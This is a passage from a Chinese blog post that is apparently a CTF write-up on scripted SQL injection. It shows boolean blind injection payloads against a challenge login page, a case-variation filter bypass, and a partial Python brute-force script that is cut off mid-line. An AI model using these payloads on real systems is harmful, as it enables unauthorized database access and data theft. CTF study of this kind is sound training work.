【ctf】基于python脚本的sql注入合集(持续更新)

基于python脚本的sql注入合集(持续更新)

前言

sql注入在ctf的web方向中是常见题型。简单的sql注入用sqlmap跑一跑自然而然就跑出来了。这篇文章是针对sqlmap跑起来困难的题目,也就是用python写脚本来跑的题目。
那么这种写脚本的题目也有不同的注入方式,例如布尔盲注、时间盲注、异或注入等等,都是通过写脚本来获取sql信息的。这篇文章就写下我认为比较有价值的写脚本题型!

布尔盲注

分析题目

N1BOOK [第一章 web入门]SQL注入-2
在这里插入图片描述

这题其实有很多解法,这里我选择比较简答的布尔盲注来实现。

我们首先进入login.php
在这里插入图片描述
见到登录页面,先试试admin
在这里插入图片描述
发现报错 账号或密码错误

我们在看看其他的用户名
在这里插入图片描述
可以发现报错的是 账号不存在

那么我们可以得出结论
当用户名存在时,输错密码报错 用户名或密码错误
当用户名不存在时,无论密码如何都报错 账号不存在
那么我们可以通过这个回显来判断我们的注入语句是否正确。

拿出我们的bp,给网页抓个包,放入repeater

用admin账号登录,显示
在这里插入图片描述
用不存在的账号登录
在这里插入图片描述

admin:true
{“error”:1,“msg”:"\u8d26\u53f7\u6216\u5bc6\u7801\u9519\u8bef"}
woodwhale:false
{“error”:1,“msg”:"\u8d26\u53f7\u4e0d\u5b58\u5728"}

可以明显看到回显的长度不同,我们把输入admin时的回显视为true,输入不存在的用户名的回显视为false,基于这一点,我们写python脚本

我们再判断是字符型还是数字型
在这里插入图片描述

在这里插入图片描述
回显为true,简单的数字型注入。

在这之后又判断有无过滤,发现select有过滤,用大写即可避开。

爆数据库

对于数据库,我还是得说一句,大部分情况,flag都放在了当前数据库下的某张表中,也就是database(),但是有些题目的flag会放在其他数据库中,所以如果时间充分,我们需要查询所有的数据库。

关键语句

// 查询所有的数据库
(seLect(group_concat(schema_name))from(information_schema.schemata))

当然,因为我们是布尔盲注,所以还有一个关键函数substr,例如 substr(abc,1,1)='a’返回的就是true,substr(str,i,j)的str参数是字符串,i和j表示从第i位开始,第j个字符串。

那么我们可以构造出关键语句

name="admin' and substr((seLect(group_concat(schema_name))from(information_schema.schemata)),{0},1)='{1}' #"
pass="123"

name中的{0}和{1}是python 的format表达式,和%d %s的作用一样,只不过不需要定义形式。
那么我们将上述data放入一个集合中

data = {
   'name':"admin' and substr((seLect(group_concat(schema_name))from(information_schema.schemata)),{0},1)='{1}' #".format(num,i),
        'pass':'123456'}

接着构造脚本

import requests
import time
url = "http://ae08b6be-3b2e-4194-a003-9827cda4497e.node3.buuoj.cn/login.php"
dictionary = '}qwertyuiopasdfghjklzxcvbnm-=+_,.1234567890{'
flag = ""

for num in range(1,500):
    print(num)
    for i in dictionary:
        data = {
   'name':"admin' and substr((seLect(group_concat(schema_name))from(information_schema.schemata)),{0},1)='{1}' #".format(num,i
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值